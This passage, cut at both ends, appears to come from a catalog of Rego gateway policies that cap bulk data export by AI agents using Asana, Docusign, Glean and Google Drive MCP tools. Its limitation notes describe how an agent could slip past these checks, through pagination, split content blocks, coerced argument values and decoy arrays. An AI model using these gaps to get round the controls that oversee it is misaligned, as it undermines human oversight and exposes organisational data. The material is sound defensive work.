object.get(object.get(input, key, {}), "name", "") is_string(v) } name_of(key) := "" if { v := object.get(object.get(input, key, {}), "name", "") not is_string(v) } resource_name := name_of("resource") payload_name := name_of("payload") is_create_batch if { endswith(resource_name, "create_tasks") } is_create_batch if { endswith(payload_name, "create_tasks") } is_update_batch if { endswith(resource_name, "update_tasks") } is_update_batch if { endswith(payload_name, "update_tasks") } is_batch_tool if { is_create_batch } is_batch_tool if { is_update_batch } # --- Batch array discovery --- # args is read through an object.get chain so a missing payload or args block # yields {} (never leaves a reference undefined). Every candidate key whose # value is actually an array is collected; object.get(..., null) means a missing # key is skipped, not counted as an empty []. args := object.get(object.get(input, "payload", {}), "args", {}) candidate_arrays contains arr if { is_batch_tool some key in batch_keys arr := object.get(args, key, null) is_array(arr) } array_recognized if { count(candidate_arrays) > 0 } # Number of elements in a candidate array that set completed: true. completed_in(arr) := count([t | some t in arr is_object(t) object.get(t, "completed", false) == true ]) # --- Violation conditions --- # The batch array exceeds the element ceiling (create_tasks or update_tasks). oversize if { some arr in candidate_arrays count(arr) > ceiling } # An update_tasks batch marks more than `ceiling` tasks completed in one call. too_many_completed if { is_update_batch some arr in candidate_arrays completed_in(arr) > ceiling } # A batch call whose task array we cannot locate under any known key — size # cannot be verified, so deny (fail closed) rather than let an unbounded batch # through under a renamed argument. unrecognized_batch if { is_batch_tool not array_recognized } # Decoy-smuggling guard. A caller could satisfy array_recognized with a tiny # "decoy" array under a recognized key (e.g. tasks: [one object]) while carrying # the real, oversized batch under an UNRECOGNIZED key (e.g. custom: [50 objects]). # oversize only inspects candidate_arrays, so it would miss the smuggled array and # the call would pass. When a recognized array IS present but there is ALSO a # top-level array under a key we do not recognize, we cannot be sure we are sizing # the real batch — so we fail closed. (Gated on array_recognized so the pure # renamed-key case with no decoy is still reported by unrecognized_batch alone, # not double-counted here.) unknown_key_array if { is_batch_tool array_recognized some key, val in args is_array(val) not key in batch_keys } # --- Allow rules --- # Anything that isn't an official batch tool passes untouched (this includes the # community singular create/update tools and all read tools). allow if { not is_batch_tool } # A batch call passes when we can see its array and it is within both ceilings, # and there is no array smuggled under an unrecognized key (decoy guard). allow if { is_batch_tool array_recognized not oversize not too_many_completed not unknown_key_array } # --- Deny reasons --- reasons contains msg if { oversize n := max([count(arr) | some arr in candidate_arrays]) msg := sprintf("This Asana batch call requests %d task objects, above the %d-task ceiling. Split it into smaller batches of %d or fewer tasks per call. If a larger batch is genuinely required, ask your workspace admin to raise the ceiling.", [n, ceiling, ceiling]) } reasons contains msg if { too_many_completed m := max([completed_in(arr) | some arr in candidate_arrays]) msg := sprintf("This update_tasks call marks %d tasks completed in a single call, above the %d-task bulk-completion ceiling. Complete tasks in smaller batches, or ask your workspace admin to raise the ceiling.", [m, ceiling]) } reasons contains msg if { unrecognized_batch msg := sprintf("This Asana batch call did not expose a recognizable task array (checked keys: %s), so its size cannot be verified; it is denied by default. Confirm the batch argument key for your Asana MCP deployment and add it to batch_keys in this policy. Contact your workspace admin if this blocks a legitimate call.", [concat(", ", batch_keys)]) } reasons contains msg if { unknown_key_array msg := sprintf("This Asana batch call carries a task array under an unrecognized argument key alongside a recognized one (recognized keys: %s), so its true batch size cannot be verified; it is denied to prevent a small decoy array masking a larger smuggled batch. Put the full task array under a single recognized key, or add the real key to batch_keys in this policy. Contact your workspace admin if this blocks a legitimate call.", [concat(", ", batch_keys)]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Cap Docusign Directory and Document Egress URL: https://www.intentbasedpolicy.com/policies/docusign/cap-directory-and-document-egress App(s): docusign | Direction: egress | Bundles: soc2, gdpr-ccpa | Package: docusign.egress.cap_directory_and_document_egress | Published: 2026-07-12 | Tags: docusign, cap-bulk-export, pii, data-minimisation, egress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/docusign/cap-directory-and-document-egress/policy.md # docusign / cap-directory-and-document-egress **Direction:** egress (`tool_post_invoke`) **Default:** deny (allow rules pass everything except ungated document downloads) **Package:** `docusign.egress.cap_directory_and_document_egress` ## What it does Bounds the two largest data-out channels in the Docusign MCP landscape: - **Directory truncation** — responses from `*getUsers*` (the official server's account-wide user listing: every user's name, email, and account details) are truncated to the first **25** users unless the caller's `input.subject.claims.groups` include `admin`. A `notice` field is added to the truncated JSON so the agent knows the listing is bounded by policy. Unbounded directory enumeration is a reconnaissance surface — one call hands an agent (or a prompt-injected agent) the full employee email roster. - **Document-download gate** — responses from the community server's `*download_envelope_document*` tool, which returns entire signed PDFs as base64 (`contentBase64`), are **denied** unless the caller's groups include `contracts-read`. Per the app landscape research, base64 PDF export is the single largest exfiltration channel in the community Docusign server, so it is gated to least privilege rather than truncated. All other tool responses pass through unchanged. Both group checks fail closed: a caller with missing or empty claims gets the truncated directory and no document downloads. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement/removal of information by bounding how much directory data and signed-document content any single agent call can move out of Docusign. - **HIPAA §164.502(b) / §164.514(d)** — supports the minimum-necessary standard with role-based limits: envelopes in healthcare flows routinely carry PHI, and signed-PDF retrieval is restricted to the role that needs it; directory reads return a bounded page rather than the full roster. - **GDPR Art. 5(1)(c)** — data minimisation on the agent channel: names and emails of every account user are personal data, and the response is minimised before it reaches the agent context. **CCPA 11 CCR §7002** — supports proportionality: retrieval stays proportionate to the task instead of defaulting to bulk enumeration. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `docusign-getUsers`), and that prefix is not standardised, so the policy matches case-insensitively by suffix on all three egress name surfaces (`input.resource.name`, `input.tool_metadata.name`, and `input.payload.name` — all three carry the same value on `tool_post_invoke`, so checking all three keeps the download deny from failing open if a gateway leaves one empty): - `*getusers` — the official Docusign MCP server's `getUsers` (verified from the developer-docs tool catalog). The suffix match does **not** catch the single-user tools `getUser` / `getUserInfo`, by design. - `*download_envelope_document` — the community `luthersystems/mcp-server-docusign` tool (verified from source). The official production server has **no** document-download tool, so this branch only fires on community-server deployments. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Response shape assumptions - `*getUsers*` output is expected to be a JSON content block whose top-level object carries a `users` array (the documented eSignature `Users:list` body the tool maps to). Only blocks that parse as JSON and hold a `users` array longer than 25 entries are rewritten; everything else passes through unchanged (see Known limitations). - The download gate is a deny, so it makes no assumption about the response body — the whole response is blocked regardless of shape. ## Examples ### Allowed — admin reads the full directory ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "docusign-getUsers", "type": "tool" }, "subject": { "claims": { "groups": ["admin"] } }, "payload": { "name": "docusign-getUsers", "text": ["{\"users\":[/* 200 users */]}"] } } } ``` `allow = true`, no transform — the full listing is returned. ### Transformed — non-admin directory read is truncated Same call with `"groups": ["everyone"]` → `allow = true` and `transform.transformed_payload.text` holds the same JSON with `users` cut to its first 25 entries plus a `notice` field explaining the truncation. ### Denied — document download without the contracts group ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "docusign-mcp-download_envelope_document", "type": "tool" }, "subject": { "claims": { "groups": ["everyone"] } }, "payload": { "name": "docusign-mcp-download_envelope_document", "text": ["{\"contentBase64\":\"JVBERi0x...\"}"] } } } ``` `allow = false`, `reason = "Downloading signed envelope documents through the agent is restricted to members of the contracts-read group. ..."`. ## Composition This policy is single-purpose (PF-08, egress). Useful companions if present in your catalog: - An **ingress PF-08 clamp** on Docusign list/search arguments (page-size caps, `start_position` limits) — this egress policy bounds each response, not cumulative enumeration across paged calls. - A **PF-02 egress redaction** policy for SSN/bank patterns in `listRecipients` / `getEnvelope` tab values and `getAgreementDetails` provisions. - A **PF-25 force-draft** ingress policy (`status:"sent"` → `"created"`) on envelope creation. ## Known limitations - **Group names are placeholders — replace `admin` and `contracts-read` with your IdP's group names at import time.** The checks expect the `groups` claim as an array of strings (a single bare string is also handled). Never rely on stripped ContextForge-internal claims (`is_admin`, `teams`, `user`) — they are always absent from `input.subject.claims`. - **Pagination residual.** Truncation bounds each response to 25 users; a caller can still enumerate the directory across repeated paged calls if the upstream tool accepts pagination arguments. Pair with an ingress clamp (see Composition) if cumulative enumeration matters to you. - **Shape fail-open on truncation.** Blocks that are not valid JSON, or whose top-level value is not an object (e.g. a bare top-level JSON array of user objects), or whose top-level object has no `users` array (e.g. a nested or renamed key such as `{"result":{"users":[…]}}`), pass through untruncated. Likewise, if the gateway delivers the response body as a single scalar string rather than the documented `payload.text` **array** of content blocks, the `is_array` guard is not met and nothing is truncated. The official-server field list comes from the mapped REST reference (`Users:list`), not an MCP schema dump — verify the live response shape (both the JSON body and the `payload.text` content-block array) with the dump-input technique. The download gate is unaffected (it denies regardless of body shape). - **Per-block truncation — cross-block split residual.** The cap counts users **within each content block independently**. A response that spreads its user roster across several content blocks, each holding 25 or fewer users, is passed through in full because no single block exceeds the cap (red-team verified). A conformant `getUsers` response returns one `Users:list` body in one block, so this only bites servers that chunk the roster across blocks; if that is a concern in your deployment, pair with the ingress page-size clamp (see Composition) rather than relying on this egress cap alone. - **Truncation edits the payload.** The rewritten block gains a `notice` field and its `users` array no longer matches sibling counters such as `resultSetSize` / `endPosition`; agents that reconcile those counters will notice the mismatch. - **Download matching is community-server-specific.** Only the verified `*download_envelope_document` suffix is gated. Other community servers exposing document content under different tool names (or the CData `run_query` SQL surface) are not matched — add their suffixes before deploying against them. - **`getUsers` on other servers.** The CData server can reach the same user table through `{servername}_run_query`; this policy does not parse SQL and will not truncate that path. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package docusign.egress.cap_directory_and_document_egress # Deny-by-default: the allow rules below pass everything except signed-document # downloads by callers outside the contracts-read group. Directory truncation # is handled by the transform rule and never denies. default allow := false # Bounded page size for user-directory responses returned to non-admin callers. max_users := 25 # ----------------------------------------------------------------------------- # Tool matching. The gateway prefixes tool names with the configured MCP server # name (e.g. `docusign-getUsers`), and the prefix is not standardised, so match # by suffix, case-insensitively. On egress the tool name is available on both # input.resource.name and input.tool_metadata.name — check both surfaces. # ----------------------------------------------------------------------------- tool_name_is(suffix) if { res := object.get(input, "resource", {}) is_object(res) endswith(lower(object.get(res, "name", "")), suffix) } tool_name_is(suffix) if { meta := object.get(input, "tool_metadata", {}) is_object(meta) endswith(lower(object.get(meta, "name", "")), suffix) } tool_name_is(suffix) if { # payload.name is also populated on egress (ingress-canonical, but carries the # same value on tool_post_invoke). Checked so the download deny cannot fail # open on a gateway that leaves resource.name / tool_metadata.name empty. pl := object.get(input, "payload", {}) is_object(pl) endswith(lower(object.get(pl, "name", "")), suffix) } # Official server: getUsers enumerates every user in the account (names, # emails). Suffix match deliberately does not catch getUser / getUserInfo. is_get_users_tool if { tool_name_is("getusers") } # Community luthersystems server: returns the whole signed PDF as base64. # Verified from source; the official production catalog has no download tool. is_download_tool if { tool_name_is("download_envelope_document") } # ----------------------------------------------------------------------------- # Identity. Placeholder groups — replace `admin` and `contracts-read` with your # IdP's group names at import time. The object.get chain means a caller with # missing subject/claims/groups is never treated as a member: both grants fail # closed (truncated directory, no downloads). # ----------------------------------------------------------------------------- caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) has_group(name) if { some g in caller_groups lower(g) == name } has_group(name) if { # Some IdPs emit a single group as a bare string rather than an array. is_string(caller_groups) lower(caller_groups) == name } # ----------------------------------------------------------------------------- # Allow rules. Everything except the download tool passes; the download tool # passes only for the contracts-read group. # ----------------------------------------------------------------------------- allow if { not is_download_tool } allow if { is_download_tool has_group("contracts-read") } reasons contains "Downloading signed envelope documents through the agent is restricted to members of the contracts-read group. Review the document in the Docusign web app instead, or ask your Docusign administrator for access. Contact your InfoSec team if you believe this is a false positive." if { is_download_tool not has_group("contracts-read") } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } # ----------------------------------------------------------------------------- # Directory truncation. Rewrites each JSON content block whose top-level # `users` array exceeds max_users, keeping the first page and adding a notice # so the agent knows the listing is policy-bounded. Blocks that don't parse or # don't match the documented Users:list shape pass through unchanged (see # Known limitations). # ----------------------------------------------------------------------------- truncation_notice := sprintf( "Truncated to the first %d users by gateway policy. Ask your Docusign administrator for admin access if you need the full directory.", [max_users], ) response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) truncated_users_block(b) := out if { is_string(b) parsed := json.unmarshal(b) is_object(parsed) users := object.get(parsed, "users", []) is_array(users) count(users) > max_users out := json.marshal(object.union(parsed, { "users": array.slice(users, 0, max_users), "notice": truncation_notice, })) } capped_block(b) := truncated_users_block(b) capped_block(b) := b if { not truncated_users_block(b) } capped_blocks := [out | some block in text_blocks out := capped_block(block) ] # Emitted only on egress, for non-admin callers, when at least one block # actually changed. Otherwise the rule is undefined and the aggregator skips # this policy, returning the response byte-identical. transform := { "transformed_payload": object.union(response_payload, {"text": capped_blocks}), } if { input.mode == "output" is_get_users_tool not has_group("admin") is_array(text_blocks) capped_blocks != text_blocks } ``` ### Cap Glean Bulk Search Export URL: https://www.intentbasedpolicy.com/policies/glean/cap-search-export App(s): glean | Direction: ingress | Bundles: soc2, hipaa, gdpr-ccpa | Package: glean.ingress.cap_search_export | Published: 2026-07-12 | Tags: glean, cap-bulk-export, data-minimisation, ingress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/glean/cap-search-export/policy.md # glean / cap-search-export **Direction:** ingress (`tool_pre_invoke`) **Default:** allow (transform-only — never denies) **Package:** `glean.ingress.cap_search_export` ## What it does Clamps the bulk-export parameters on Glean `search` calls before they reach the Glean MCP server, so a single agent request cannot pull an entire indexed datasource in one sweep. Two rewrites are applied to `search` arguments: - **`num_results` ceiling** — when the requested `num_results` exceeds the configured ceiling (50 in this policy; Glean permits up to 500), it is lowered to the ceiling. The request is **rewritten, not denied**, so the search still runs — just at a bounded page size. This enforces minimum-necessary retrieval while keeping the search useful. - **`exhaustive` strip** — when `exhaustive` is set to `true` it is rewritten to `false`, neutralising Glean's full-scan sweep. `exhaustive:true` combined with a high `num_results` is the bulk-export path the Glean landscape note flags across every indexed system (Drive, Confluence, Slack, Jira, Gmail, GitHub, Salesforce, Gong, HR…), because one Glean call fans out across everything the caller can see. Every field is read with `object.get(input.payload.args, ...)`, so a **missing** `num_results` or `exhaustive` is treated as unset and **left alone** — the policy never injects a value, it only lowers an over-broad one. A `search` call that requests `num_results` at or below the ceiling and does not set `exhaustive:true` passes through completely untouched. The policy inspects only `search`. It does **not** constrain `chat` (which takes free text with no filterable retrieval bound — egress inspection is the only lever there) or any other Glean tool. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement/removal of information by bounding how much indexed corporate data any single agent `search` can move out of Glean in one call. - **HIPAA §164.502(b) / §164.514(d)** — supports the minimum-necessary standard: agents retrieve result sets sized to the task rather than the 500-record maximum the API permits, and cannot trigger an exhaustive scan of PHI-bearing sources. - **GDPR Art. 5(1)(c)** — data minimisation on the agent channel: the query is minimised *before* it reaches Glean; **Art. 5(1)(d)** — a bounded result set reduces the accuracy/blast-radius surface of downstream processing. - **CCPA 11 CCR §7002** — supports proportionality: retrieval of personal information stays proportionate to the disclosed purpose rather than defaulting to an exhaustive bulk sweep. ## Why ingress The over-broad request itself is the problem. Once Glean has fanned out and returned 500 records (or an exhaustive scan), an egress policy can only mask fields — the volume has already been retrieved, logged, and counted against the caller's access. Rewriting `num_results` and `exhaustive` at ingress enforces minimisation before the query executes, which is the only place the result *count* can be controlled. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `glean-search`, `glean-mcp-search`), so matching is by case-insensitive suffix to stay portable. The Glean remote server's search tool is the bare name `search`, so this policy matches: - `search` (unprefixed), or - any name ending in `-search` (the gateway's `-` form) This deliberately does **not** match the other Glean read tools whose names end in `_search` — `employee_search`, `code_search`, `gmail_search`, `outlook_search`, and the deprecated local server's `company_search` / `people_profile_search`. Those are governed by other policies (datasource fencing, mailbox restriction, transcript gating). Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape `search(query, app, type, owner, from, channel, updated, after, before, sort_by_recency, exhaustive, num_results, dynamic_search_result_filters, cursor)` — structured params (verified from Glean's admin docs and tool guides). This policy reads only `num_results` (numeric, up to 500) and `exhaustive` (boolean). All other arguments are preserved unchanged by the rewrite via `object.union`. ## Examples ### Passed through unchanged ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "glean-search", "type": "tool" }, "payload": { "name": "glean-search", "args": { "query": "q3 roadmap", "app": "confluence", "num_results": 25 } } } } ``` `allow = true`, no transform — the request is already within the ceiling and does not set `exhaustive`. ### Transformed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "glean-search", "type": "tool" }, "payload": { "name": "glean-search", "args": { "query": "", "app": "gdrive", "num_results": 500, "exhaustive": true } } } } ``` `allow = true`, transform rewrites the args to `{ "query": "", "app": "gdrive", "num_results": 50, "exhaustive": false }` — the ceiling is applied and the exhaustive sweep is disabled, while `query` and `app` are preserved. ## Composition This policy bounds retrieval *volume*; it does not fence *which* datasources a search may target, nor mask record *content*. Pair it with: - **`apps/glean/fence-datasource-scope`** (ingress) — restricts the `app` datasource enum by IdP group so agents cannot search `gong`, `salescloud`, or HR sources they should not reach. - An **egress PII/PAN redaction** policy on `search` / `read_document` / `chat` responses so identifiers in whatever records are returned are masked. - A **transcript-gating** policy (PF-21) for `meeting_lookup`, whose own `exhaustive` / `extract_transcript` flags are out of scope here. ## Known limitations - **Ceiling is a per-tenant tuning knob.** 50 is a conservative data-minimisation default; Glean permits up to 500. Change `max_num_results` in `policy.md` to match your posture at import time. - **Per-request caps do not stop patient pagination.** An agent that walks the `cursor` page by page can still enumerate a large dataset — it just takes more calls at `num_results: 50`. Detecting cursor-driven crawls requires cross-request state the policy engine does not have; use gateway audit logs / alerting to spot high-frequency paging. - **Upper bound only.** The policy lowers an over-large `num_results`; it does not rewrite non-positive or otherwise malformed values (e.g. `num_results: -1` or `0`). Glean caps `num_results` at 500 server-side, so the worst case without this policy is bounded at 500 records — and with `exhaustive` forced to `false`, the exhaustive full-scan path (the primary bulk lever) is closed regardless. If your Glean deployment treats a non-positive `num_results` as "unbounded", add a lower-bound branch to `override_entries`. - **Only the `search` tool is covered.** `employee_search`, `code_search`, `gmail_search`, `outlook_search`, and `meeting_lookup` also return large result sets (and `meeting_lookup` has its own `exhaustive` flag), but they are intentionally out of scope — govern them with datasource-fencing, mailbox-restriction, and transcript-gating policies. The deprecated local server's `company_search` is likewise not matched; write against the remote `search` name and add a legacy alias only if a tenant still runs the archived `@gleanwork/local-mcp-server` package. - **Suffix matching assumes the gateway `-` hyphen convention.** A search tool that surfaces with a non-hyphen separator (e.g. `glean_search` ending in `_search`) is not matched. Confirm the exact tool name from `tools/list` and extend `is_search_tool` if needed. - **No identity-based exemptions.** All callers are clamped equally. If a data-ops group legitimately needs full-page or exhaustive reads, add an `input.subject.claims`-gated bypass as a separate rule. - **Coercion defence is best-effort.** Glean's `num_results` is a number and `exhaustive` a boolean. As a bypass defence the policy neutralises the likely truthy coercions a lenient server might accept: - **`exhaustive`** is disabled when it is boolean `true`, a truthy **string** (`"true"`/`"1"`/`"yes"`/`"on"`, case-insensitive **and whitespace-trimmed**, so `" true "` and `"TRUE "` are caught too), or any **nonzero number** — closing the `exhaustive:1` / `exhaustive:"1"` gap. `false`, `0`, `"false"`, absent, whitespace-only, and unrecognised strings are left alone. `exhaustive` (unlike `num_results`) has no server-side cap, so a padded truthy string is trimmed and neutralised rather than left to a safety net — a single character short of the truthy set (e.g. `"t"`, `"enabled"`) is still passed through, so keep this policy paired with the egress redaction companion. - **`num_results`** is lowered when it is a number above the ceiling or a numeric **string** that `to_number` parses above it (e.g. `"500"`, `"5e2"`). It is **not** lowered for a padded/whitespace string (`" 500 "`), a hex/radix string (`"0x1F4"`), or any other string `to_number` rejects — those fail safe (left unchanged) and rely on Glean's server-side cap of 500. Because `num_results` is hard-capped at 500 server-side, the worst case for an unhandled string is a bounded 500-record page, not an unbounded pull; the higher-risk full-scan lever (`exhaustive`) is closed above regardless. > **Compliance note.** This policy supports alignment with the cited framework > controls **on the MCP path only**. No policy or bundle makes an organization > compliant with any framework; web-UI, native-API, and in-app access are > outside the gateway's reach by design. Validate against your own compliance > program before relying on it. ```rego package glean.ingress.cap_search_export # Transform-only policy — never denies, only clamps bulk-export parameters on # Glean `search` calls. default allow := true # Maximum results a single `search` call may request. Glean permits up to 500; # this conservative data-minimisation default lowers anything above it. Tune to # your posture at import time. max_num_results := 50 # --- Tool matching ----------------------------------------------------------- # The gateway prefixes tool names with the configured MCP server name, so we # match case-insensitively by suffix to stay portable. Match ONLY the Glean # `search` tool: the bare name, or the `-search` form. This excludes the # sibling read tools whose names end in `_search` (employee_search, code_search, # gmail_search, outlook_search, company_search) — they are out of scope. is_search_tool if { lower(input.resource.name) == "search" } is_search_tool if { endswith(lower(input.resource.name), "-search") } # --- Argument access (object.get everywhere — fields may be missing) --------- args := object.get(input.payload, "args", {}) # --- Overrides --------------------------------------------------------------- # A partial object collecting the argument rewrites that should be applied. # Each branch is only defined when its field is present and over-broad, so a # missing num_results / exhaustive contributes nothing (left alone). # Lower a numeric num_results above the ceiling to the ceiling. override_entries["num_results"] := max_num_results if { n := object.get(args, "num_results", null) is_number(n) n > max_num_results } # Defensive: a numeric *string* num_results above the ceiling (Glean's field is # numeric, but a lenient server might coerce "500"). to_number on a # non-numeric string errors and the branch fails safe (leaves the value alone). override_entries["num_results"] := max_num_results if { n := object.get(args, "num_results", null) is_string(n) to_number(n) > max_num_results } # Disable an exhaustive sweep: force exhaustive to false when it is set true. override_entries["exhaustive"] := false if { exhaustive_is_true } exhaustive_is_true if { object.get(args, "exhaustive", false) == true } # Defensive: some servers coerce truthy strings ("true"/"1"/"yes"/"on"). # `exhaustive` is boolean-semantic, so any truthy encoding should be neutralised # — matching only "true" would leave the equally-common "1"/"yes" coercions open. # trim_space first, or a lenient server that trims before coercing would let a # padded " true " / "TRUE " slip past the set membership check (the bare "true" # is caught, so the padded form is a trivial evasion of this same defence). exhaustive_is_true if { v := object.get(args, "exhaustive", false) is_string(v) lower(trim_space(v)) in {"true", "1", "yes", "on"} } # Defensive: a lenient server may coerce a nonzero number to true. Only true is # ever intended, so any nonzero numeric exhaustive is treated as the sweep flag # (0 stays falsy and is left alone). exhaustive_is_true if { v := object.get(args, "exhaustive", false) is_number(v) v != 0 } # --- Transform --------------------------------------------------------------- # Rewrite the args only when there is at least one override to apply, and only # on the ingress path for the search tool. object.union preserves every other # argument unchanged. transform := {"transformed_payload": object.union(args, override_entries)} if { input.action == "tool_pre_invoke" is_search_tool count(override_entries) > 0 } ``` ### Cap Google Drive Search & Listing Page Sizes URL: https://www.intentbasedpolicy.com/policies/google-drive/cap-bulk-export App(s): google-drive | Direction: ingress | Bundles: soc2, hipaa, gdpr-ccpa | Package: google_drive.ingress.cap_bulk_export | Published: 2026-07-12 | Tags: google-drive, cap-bulk-export, data-minimization, ingress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/google-drive/cap-bulk-export/policy.md # google-drive / cap-bulk-export **Direction:** ingress (`tool_pre_invoke`) **Default:** allow (transform-only — never denies) **Package:** `google_drive.ingress.cap_bulk_export` ## What it does Clamps the page size of Google Drive search and listing calls to a documented cap (25 results per call). When an agent asks a Drive enumeration tool for more than 25 results in one page, the policy rewrites the page-size argument down to 25 before the call reaches the MCP server. Requests with no page-size argument, or with a page size at or under the cap, pass through untouched (the server's own defaults apply). The call is never denied. Why this matters: search is the recon step of a Drive exfiltration. Drive's full query syntax (`fullText contains`, `'folderId' in parents`) lets an agent enumerate sensitive material fast, and repeated large pages are the amplifier that turns `read_file_content` / `download_file_content` sweeps into bulk exfiltration. Capping page size slows mass enumeration and forces breadth to show up as many calls in the audit log instead of a few large ones. No identity gating: the cap applies to every caller, for minimum-necessary/data-minimisation alignment — no subject needs 100-row recon pages by default. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement of information by bounding how much Drive content inventory an agent can pull per call over the MCP path. - **HIPAA §164.502(b) / §164.514(d)** — supports the minimum-necessary standard: an agent working in a Drive that holds PHI gets result pages sized for the task at hand, not bulk sweeps. - **GDPR Art. 5(1)(c)** — supports data minimisation on the agent channel; **CCPA 11 CCR §7002** — supports proportionality of collection relative to purpose. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `gdrive-mcp-gdrive_search`), so the policy matches case-insensitively by suffix: - `*gdrive_search` — isaacphi/mcp-gdrive (its `pageSize` argument is verified from source) - `*search_files`, `*list_recent_files` — Google official Drive MCP server (parameter names **unverified** — see Known limitations) - `*-search`, `*listfolder` — piotr-agier/google-drive-mcp `search` / `listFolder` (tool names verified; page-size parameter name unverified) - `*google_drive_search` — legacy claude.ai built-in Drive integration (tool name **unverified** — reported from published system prompts, effectively dead but may still appear in older Claude traffic) The `-search` suffix assumes the gateway's `-` prefixing. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape The policy checks a candidate set of page-size-style argument keys on matched tools — `pageSize`, `page_size`, `pagesize`, `limit`, `maxResults`, `max_results` — each read with `object.get`, so missing keys are simply skipped. Values may be numbers or numeric strings (`"100"`, including ones with surrounding whitespace like `" 100"`, which are trimmed before parsing); both are clamped to the numeric cap `25`. Non-numeric values and requests without any candidate key pass through unchanged. Key matching is **case-sensitive** (`object.get` exact match) — see Known limitations. ## Examples ### Transformed (page size over the cap) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gdrive-mcp-gdrive_search", "type": "tool" }, "payload": { "name": "gdrive-mcp-gdrive_search", "args": { "query": "fullText contains 'salary'", "pageSize": 100 } } } } ``` `allow = true`, transform rewrites args to `{ "query": "fullText contains 'salary'", "pageSize": 25 }`. ### Untouched (no page-size argument) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gdrive-mcp-gdrive_search", "type": "tool" }, "payload": { "name": "gdrive-mcp-gdrive_search", "args": { "query": "name contains 'roadmap'" } } } } ``` `allow = true`, no transform — the server's default page size applies. ## Composition This policy is single-purpose. Useful companions: - [`redact-pii-egress`](../redact-pii-egress/policy.md) — sanitizes whatever content the capped pages still return. - [`guard-acl-recon`](../guard-acl-recon/policy.md) — closes the parallel recon channel through `get_file_permissions`. ## Known limitations - **Cannot bound call count.** The cap limits results *per call*, not calls per minute — an agent can still paginate through everything with `pageToken`, just slower and more visibly. Rate limiting is a platform property, not a policy job. Treat this as friction plus audit amplification, not a hard exfiltration stop. - **Unverified parameter names.** Only isaacphi's `gdrive_search` `pageSize` is verified from source. The Google official server does not publish per-tool parameter schemas, and piotr-agier's page-size parameter name is undocumented — verify via `tools/list` through your gateway before relying on the clamp there. A server whose page-size parameter is named outside the candidate set is not clamped. - **Case-sensitive argument keys.** Tool *names* are matched case-insensitively, but the candidate page-size *keys* are matched exactly (`object.get`). A server that accepts a case-variant key — `PageSize`, `LIMIT`, `MaxResults` — would not be clamped. All known Drive servers use the documented casing (`pageSize`, `maxResults`, `limit`, `page_size`), so this is a residual only for a case-insensitive server; add the variant to `page_size_keys` if yours is. - **Server coercion outstrips the parser.** The clamp fires only when OPA's `to_number` can read the value (after whitespace trimming). A value OPA cannot parse but a lenient server still coerces to a large integer — e.g. an exotic numeric literal, a locale-formatted string (`"1,000"`), or a nested/typed wrapper — is skipped and passes uncapped. This is the residual behind the "friction, not a hard stop" framing: the clamp is only as tight as the parser. - **Non-positive page sizes pass through.** The clamp fires only on values *strictly greater than* the cap, so `0`, `-1`, or any non-positive number is left untouched (`numeric(v) > page_size_cap` is false). The known Drive servers reject non-positive page sizes (Google's API range is 1–1000), but a lenient or non-standard server that reads `0`/`-1` as "unbounded / return everything" would not be clamped. This is another facet of the "friction, not a hard stop" posture; if your server treats non-positive as unbounded, pair this policy with a server-side request-validation rule. - **Type rewrite on numeric strings.** A numeric-string page size (`"100"`) is replaced with the number `25`. Servers that strictly require a string type for that parameter may reject the rewritten call. - **Generic-verb collision.** The `-search` suffix can match search tools of *other* MCP servers if this policy is attached to a mixed pipeline. The effect is only a page-size clamp (never a deny), but scope the attachment to Drive pipelines if that matters. - **Cap is a tuning point.** `25` is a conservative default; adjust `page_size_cap` in `policy.md` to your environment's needs. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package google_drive.ingress.cap_bulk_export # Transform-only policy — never denies, only clamps oversized page sizes. default allow := true # Maximum results per page on Drive search/listing calls. Tune per environment. page_size_cap := 25 # Candidate argument keys that carry a page-size value across known Drive MCP # servers. `pageSize` is verified for isaacphi/mcp-gdrive's gdrive_search; the # rest are defensive candidates for the Google official and piotr-agier # servers, whose parameter names are unverified (confirm via tools/list). page_size_keys := ["pageSize", "page_size", "pagesize", "limit", "maxResults", "max_results"] # --- Tool matching -------------------------------------------------------- # The gateway prefixes tool names with the configured MCP server name # (e.g. `gdrive-mcp-gdrive_search`), so match case-insensitively by suffix. # isaacphi/mcp-gdrive search (pageSize argument verified from source) is_enumeration_tool if { endswith(lower(input.resource.name), "gdrive_search") } # Legacy claude.ai built-in Drive integration `google_drive_search` # (reported from published system prompts — tool name UNVERIFIED, effectively # dead but may still appear in older Claude traffic). Full suffix, so it does # not collide with isaacphi's `gdrive_search`. is_enumeration_tool if { endswith(lower(input.resource.name), "google_drive_search") } # Google official Drive MCP server (parameter names unverified) 